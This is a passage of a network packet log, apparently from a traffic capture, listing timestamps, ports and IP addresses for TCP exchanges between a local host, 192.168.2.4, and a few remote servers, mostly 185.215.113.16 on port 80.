Nov 12, 2024 21:22:09.114713907 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114718914 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114744902 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114748955 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114757061 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114768028 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114778042 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114788055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114798069 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114798069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114811897 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114815950 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114830017 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114833117 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114845037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114855051 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114857912 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114867926 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114886999 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114895105 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114916086 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114934921 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114952087 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114963055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114974976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114984989 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.114989996 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.114999056 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115010977 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115021944 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115032911 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115060091 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115077019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115123034 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115133047 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115170002 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115195990 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115207911 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115219116 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115243912 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115257025 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115288973 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115308046 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115350008 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115421057 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115432978 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115470886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115473986 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115483046 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115494967 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115524054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115537882 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115571022 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115581036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115591049 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115600109 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115612030 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115627050 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115628958 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115643978 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115653992 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115655899 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115664959 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115672112 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115678072 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115689039 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115694046 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115700960 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115712881 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115717888 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115744114 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115761995 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115767956 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115820885 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115832090 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.115869999 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.115961075 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116086960 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116101027 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116112947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116121054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116131067 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116132021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116141081 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116143942 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116162062 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116177082 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116180897 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116192102 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116203070 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116203070 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116223097 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116230011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116242886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116245031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116255045 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116278887 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116288900 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116337061 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116348982 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116359949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116370916 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116388083 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116394997 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116424084 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116434097 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116445065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116455078 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116465092 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116476059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116477966 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116492033 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116518021 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116543055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116554022 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116590977 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116832972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116887093 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116898060 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116938114 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.116976023 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116986990 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.116997957 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117023945 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117042065 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117053032 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117063046 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117074966 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117084980 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117094040 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117110968 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117127895 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117362976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117398977 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117415905 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117429018 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117547035 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117592096 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117649078 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117660999 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117676973 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117688894 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117698908 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117707014 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117710114 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117726088 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117733002 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117737055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117748976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117755890 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117777109 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117785931 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117793083 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117836952 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117841005 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117850065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117877007 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117897034 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117904902 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117916107 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117924929 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117935896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117947102 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.117953062 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117981911 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.117995024 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.493961096 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.493978024 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.493989944 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494000912 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494012117 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494014025 CET	443	49799	4.245.163.56	192.168.2.4
Nov 12, 2024 21:22:09.494023085 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494029045 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494035959 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494035959 CET	443	49799	4.245.163.56	192.168.2.4
Nov 12, 2024 21:22:09.494050980 CET	443	49799	4.245.163.56	192.168.2.4
Nov 12, 2024 21:22:09.494081974 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494096041 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494112015 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494123936 CET	49799	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:22:09.494136095 CET	443	49799	4.245.163.56	192.168.2.4
Nov 12, 2024 21:22:09.494149923 CET	49799	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:22:09.494149923 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494193077 CET	49799	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:22:09.494266987 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494286060 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494297028 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494303942 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494308949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494321108 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494330883 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494342089 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494344950 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494354010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494364977 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494374990 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494396925 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494410038 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494456053 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494467974 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494478941 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494489908 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494501114 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494507074 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494513035 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494523048 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494538069 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494556904 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494577885 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494606972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494623899 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494635105 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494645119 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494662046 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494679928 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494800091 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494813919 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494823933 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494836092 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494844913 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494858980 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494870901 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494884014 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494890928 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494894981 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494905949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494915962 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494929075 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494934082 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494940996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494952917 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494963884 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494976044 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494976044 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.494976997 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.494996071 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.495009899 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.495148897 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.495162010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.495172024 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.495203972 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.495229959 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.495304108 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.495323896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.495333910 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.495359898 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.495377064 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.495460987 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.495475054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.495501041 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.495507956 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.495528936 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.495543003 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.495549917 CET	443	49799	4.245.163.56	192.168.2.4
Nov 12, 2024 21:22:09.495588064 CET	443	49799	4.245.163.56	192.168.2.4
Nov 12, 2024 21:22:09.495618105 CET	49799	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:22:09.495626926 CET	443	49799	4.245.163.56	192.168.2.4
Nov 12, 2024 21:22:09.495651960 CET	49799	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:22:09.495726109 CET	443	49799	4.245.163.56	192.168.2.4
Nov 12, 2024 21:22:09.495729923 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.495759010 CET	49799	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:22:09.495790958 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.495790958 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.495791912 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.495805979 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.495806932 CET	443	49766	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:09.495855093 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.495871067 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.495876074 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.495887995 CET	49766	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:09.495965004 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.495975018 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.496010065 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.496022940 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.496993065 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497004986 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497015953 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497066021 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497107029 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497140884 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497153044 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497164011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497179031 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497189045 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497199059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497200966 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497271061 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497294903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497313023 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497324944 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497338057 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497354031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497415066 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497483015 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497494936 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497505903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497518063 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497528076 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497544050 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497596025 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497627974 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497639894 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497649908 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497661114 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497672081 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497678995 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497683048 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497697115 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497709036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497719049 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497730017 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497735023 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497741938 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497751951 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497776985 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497792959 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497792959 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497809887 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497818947 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497821093 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497833014 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497844934 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497859001 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497895002 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.497966051 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.497977972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498004913 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498016119 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498016119 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498028040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498039007 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498050928 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498050928 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498064041 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498070002 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498080015 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498136997 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:09.498150110 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:09.498162031 CET	80	49798	185.215.113.16	192.168.2.4
